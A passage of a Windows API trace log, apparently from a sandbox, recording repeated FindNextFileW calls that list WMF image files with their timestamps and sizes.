ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb0c9b200, ftLastWriteTime.dwHighDateTime=0x1bf323f, nFileSizeHigh=0x0, nFileSizeLow=0x5aa4, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE00468_.WMF", cAlternateFileName="")) returned 1 [0269.267] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d320700, ftCreationTime.dwHighDateTime=0x1bd4b43, ftLastAccessTime.dwLowDateTime=0x59c8edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d320700, ftLastWriteTime.dwHighDateTime=0x1bd4b43, nFileSizeHigh=0x0, nFileSizeLow=0x1cf8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE00478_.WMF", cAlternateFileName="")) returned 1 [0269.267] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb32c0c00, ftCreationTime.dwHighDateTime=0x1bf323f, ftLastAccessTime.dwLowDateTime=0x59c8edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb32c0c00, ftLastWriteTime.dwHighDateTime=0x1bf323f, nFileSizeHigh=0x0, nFileSizeLow=0x4124, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE00485_.WMF", cAlternateFileName="")) returned 1 [0269.268] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d627000, ftCreationTime.dwHighDateTime=0x1bd98a5, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5d627000, ftLastWriteTime.dwHighDateTime=0x1bd98a5, nFileSizeHigh=0x0, nFileSizeLow=0x1402c, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE00489_.WMF", cAlternateFileName="")) returned 1 [0269.268] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb32c0c00, ftCreationTime.dwHighDateTime=0x1bf323f, ftLastAccessTime.dwLowDateTime=0x59c8edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb32c0c00, ftLastWriteTime.dwHighDateTime=0x1bf323f, nFileSizeHigh=0x0, nFileSizeLow=0x1ee4, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE00531_.WMF", cAlternateFileName="")) returned 1 [0269.268] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33585700, ftCreationTime.dwHighDateTime=0x1bf3bda, ftLastAccessTime.dwLowDateTime=0x59c8edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x33585700, ftLastWriteTime.dwHighDateTime=0x1bf3bda, nFileSizeHigh=0x0, nFileSizeLow=0x8da8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE00542_.WMF", cAlternateFileName="")) returned 1 [0269.268] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7b853b00, ftCreationTime.dwHighDateTime=0x1bd4b14, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7b853b00, ftLastWriteTime.dwHighDateTime=0x1bd4b14, nFileSizeHigh=0x0, nFileSizeLow=0x140c, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE00555_.WMF", cAlternateFileName="")) returned 1 [0269.268] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30066900, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x59c8edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x30066900, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x26b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE00559_.WMF", cAlternateFileName="")) returned 1 [0269.269] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17bf3a00, ftCreationTime.dwHighDateTime=0x1bd4b35, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17bf3a00, ftLastWriteTime.dwHighDateTime=0x1bd4b35, nFileSizeHigh=0x0, nFileSizeLow=0x5670, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE00563_.WMF", cAlternateFileName="")) returned 1 [0269.269] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1ae6, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE00578_.WMF", cAlternateFileName="")) returned 1 [0269.269] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x896e9800, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x896e9800, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x1928, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE00608_.WMF", cAlternateFileName="")) returned 1 [0269.269] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c352400, ftCreationTime.dwHighDateTime=0x1bd4b30, ftLastAccessTime.dwLowDateTime=0x59c8edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c352400, ftLastWriteTime.dwHighDateTime=0x1bd4b30, nFileSizeHigh=0x0, nFileSizeLow=0x4cea, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE00633_.WMF", cAlternateFileName="")) returned 1 [0269.269] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bd0f200, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x59c8edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8bd0f200, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0xb12c, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE00640_.WMF", cAlternateFileName="")) returned 1 [0269.270] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x883d6b00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x59c8edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x883d6b00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x6028, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE00668_.WMF", cAlternateFileName="")) returned 1 [0269.270] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a9c1f00, ftCreationTime.dwHighDateTime=0x1bd4b32, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3a9c1f00, ftLastWriteTime.dwHighDateTime=0x1bd4b32, nFileSizeHigh=0x0, nFileSizeLow=0x108a, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE00685_.WMF", cAlternateFileName="")) returned 1 [0269.270] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78490a00, ftCreationTime.dwHighDateTime=0x1bf0b13, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78490a00, ftLastWriteTime.dwHighDateTime=0x1bf0b13, nFileSizeHigh=0x0, nFileSizeLow=0x112e, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE00686_.WMF", cAlternateFileName="")) returned 1 [0269.270] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb45d3900, ftCreationTime.dwHighDateTime=0x1bf323f, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb45d3900, ftLastWriteTime.dwHighDateTime=0x1bf323f, nFileSizeHigh=0x0, nFileSizeLow=0x1138, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE00693_.WMF", cAlternateFileName="")) returned 1 [0269.270] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49cc9e00, ftCreationTime.dwHighDateTime=0x1bd4b2d, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x49cc9e00, ftLastWriteTime.dwHighDateTime=0x1bd4b2d, nFileSizeHigh=0x0, nFileSizeLow=0x3926, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE00720_.WMF", cAlternateFileName="")) returned 1 [0269.271] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe80c3400, ftCreationTime.dwHighDateTime=0x1bd4b2c, ftLastAccessTime.dwLowDateTime=0x59c8edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe80c3400, ftLastWriteTime.dwHighDateTime=0x1bd4b2c, nFileSizeHigh=0x0, nFileSizeLow=0x1afc, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE00723_.WMF", cAlternateFileName="")) returned 1 [0269.271] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d02b300, ftCreationTime.dwHighDateTime=0x1c04210, ftLastAccessTime.dwLowDateTime=0x59c8edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1d02b300, ftLastWriteTime.dwHighDateTime=0x1c04210, nFileSizeHigh=0x0, nFileSizeLow=0xb1a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE00726_.WMF", cAlternateFileName="")) returned 1 [0269.271] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfefd5700, ftCreationTime.dwHighDateTime=0x1bd4b29, ftLastAccessTime.dwLowDateTime=0x59c8edf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfefd5700, ftLastWriteTime.dwHighDateTime=0x1bd4b29, nFileSizeHigh=0x0, nFileSizeLow=0x9e2c, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE00737_.WMF", cAlternateFileName="")) returned 1 [0269.271] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe289fc00, ftCreationTime.dwHighDateTime=0x1bd4ae2, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe289fc00, ftLastWriteTime.dwHighDateTime=0x1bd4ae2, nFileSizeHigh=0x0, nFileSizeLow=0x1ca0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE00833_.WMF", cAlternateFileName="")) returned 1 [0269.271] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x870c3e00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x59cb4f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x870c3e00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x1908, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE00898_.WMF", cAlternateFileName="")) returned 1 [0269.816] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9bb8f800, ftCreationTime.dwHighDateTime=0x1bd4b1c, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9bb8f800, ftLastWriteTime.dwHighDateTime=0x1bd4b1c, nFileSizeHigh=0x0, nFileSizeLow=0x3100, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE00934_.WMF", cAlternateFileName="")) returned 1 [0269.817] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24ca3200, ftCreationTime.dwHighDateTime=0x1bd4b11, ftLastAccessTime.dwLowDateTime=0x59cb4f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x24ca3200, ftLastWriteTime.dwHighDateTime=0x1bd4b11, nFileSizeHigh=0x0, nFileSizeLow=0x2904, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE00998_.WMF", cAlternateFileName="")) returned 1 [0269.817] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c97c200, ftCreationTime.dwHighDateTime=0x1bf1118, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5c97c200, ftLastWriteTime.dwHighDateTime=0x1bf1118, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE01160_.WMF", cAlternateFileName="")) returned 1 [0269.817] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5efa1c00, ftCreationTime.dwHighDateTime=0x1bf1118, ftLastAccessTime.dwLowDateTime=0x59cb4f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5efa1c00, ftLastWriteTime.dwHighDateTime=0x1bf1118, nFileSizeHigh=0x0, nFileSizeLow=0x59c, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE01172_.WMF", cAlternateFileName="")) returned 1 [0269.817] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb58e6600, ftCreationTime.dwHighDateTime=0x1bf323f, ftLastAccessTime.dwLowDateTime=0x59cb4f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb58e6600, ftLastWriteTime.dwHighDateTime=0x1bf323f, nFileSizeHigh=0x0, nFileSizeLow=0x3f9c, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE01191_.WMF", cAlternateFileName="")) returned 1 [0269.817] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea5e9600, ftCreationTime.dwHighDateTime=0x1bd4b0c, ftLastAccessTime.dwLowDateTime=0x59cb4f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xea5e9600, ftLastWriteTime.dwHighDateTime=0x1bd4b0c, nFileSizeHigh=0x0, nFileSizeLow=0x1418, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE01661_.WMF", cAlternateFileName="")) returned 1 [0269.818] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x59cb4f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xdda, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE01797_.WMF", cAlternateFileName="")) returned 1 [0269.818] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x59cb4f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x23d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE02120_.WMF", cAlternateFileName="")) returned 1 [0269.818] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x59cb4f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1fc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE02169_.WMF", cAlternateFileName="")) returned 1 [0269.818] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8378b700, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x59cb4f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8378b700, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x75e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE02262_.WMF", cAlternateFileName="")) returned 1 [0269.818] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb983d700, ftCreationTime.dwHighDateTime=0x1bf148e, ftLastAccessTime.dwLowDateTime=0x59cb4f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb983d700, ftLastWriteTime.dwHighDateTime=0x1bf148e, nFileSizeHigh=0x0, nFileSizeLow=0x824e, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE02263_.WMF", cAlternateFileName="")) returned 1 [0269.819] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa753f100, ftCreationTime.dwHighDateTime=0x1bd4b13, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa753f100, ftLastWriteTime.dwHighDateTime=0x1bd4b13, nFileSizeHigh=0x0, nFileSizeLow=0x62b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE02265_.WMF", cAlternateFileName="")) returned 1 [0269.819] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3f02900, ftCreationTime.dwHighDateTime=0x1bd4b13, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc3f02900, ftLastWriteTime.dwHighDateTime=0x1bd4b13, nFileSizeHigh=0x0, nFileSizeLow=0x78e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE02267_.WMF", cAlternateFileName="")) returned 1 [0269.819] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7fe53000, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x59cb4f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7fe53000, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x6f26, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE02270_.WMF", cAlternateFileName="")) returned 1 [0269.819] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f9ebd00, ftCreationTime.dwHighDateTime=0x1c0033f, ftLastAccessTime.dwLowDateTime=0x59cb4f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4f9ebd00, ftLastWriteTime.dwHighDateTime=0x1c0033f, nFileSizeHigh=0x0, nFileSizeLow=0xb9c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE02278_.WMF", cAlternateFileName="")) returned 1 [0269.819] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2108500, ftCreationTime.dwHighDateTime=0x1bd4b17, ftLastAccessTime.dwLowDateTime=0x59cb4f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb2108500, ftLastWriteTime.dwHighDateTime=0x1bd4b17, nFileSizeHigh=0x0, nFileSizeLow=0x6928, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE02280_.WMF", cAlternateFileName="")) returned 1 [0269.819] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe32fdb00, ftCreationTime.dwHighDateTime=0x1bf3250, ftLastAccessTime.dwLowDateTime=0x59cb4f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe32fdb00, ftLastWriteTime.dwHighDateTime=0x1bf3250, nFileSizeHigh=0x0, nFileSizeLow=0x7400, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE02282_.WMF", cAlternateFileName="")) returned 1 [0269.820] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xffb65800, ftCreationTime.dwHighDateTime=0x1bf3488, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xffb65800, ftLastWriteTime.dwHighDateTime=0x1bf3488, nFileSizeHigh=0x0, nFileSizeLow=0x4090, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE02285_.WMF", cAlternateFileName="")) returned 1 [0269.820] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6bf9300, ftCreationTime.dwHighDateTime=0x1bf323f, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb6bf9300, ftLastWriteTime.dwHighDateTime=0x1bf323f, nFileSizeHigh=0x0, nFileSizeLow=0x4584, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE02287_.WMF", cAlternateFileName="")) returned 1 [0269.820] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7f0c000, ftCreationTime.dwHighDateTime=0x1bf323f, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb7f0c000, ftLastWriteTime.dwHighDateTime=0x1bf323f, nFileSizeHigh=0x0, nFileSizeLow=0x76e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE02288_.WMF", cAlternateFileName="")) returned 1 [0269.820] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7f0c000, ftCreationTime.dwHighDateTime=0x1bf323f, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb7f0c000, ftLastWriteTime.dwHighDateTime=0x1bf323f, nFileSizeHigh=0x0, nFileSizeLow=0x5850, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE02293_.WMF", cAlternateFileName="")) returned 1 [0269.820] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x406e600, ftCreationTime.dwHighDateTime=0x1bf3a32, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x406e600, ftLastWriteTime.dwHighDateTime=0x1bf3a32, nFileSizeHigh=0x0, nFileSizeLow=0x5328, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE02296_.WMF", cAlternateFileName="")) returned 1 [0269.821] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf911f00, ftCreationTime.dwHighDateTime=0x1bd4b16, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcf911f00, ftLastWriteTime.dwHighDateTime=0x1bd4b16, nFileSizeHigh=0x0, nFileSizeLow=0x8c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE02369_.WMF", cAlternateFileName="")) returned 1 [0269.821] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa494d400, ftCreationTime.dwHighDateTime=0x1bd4af2, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa494d400, ftLastWriteTime.dwHighDateTime=0x1bd4af2, nFileSizeHigh=0x0, 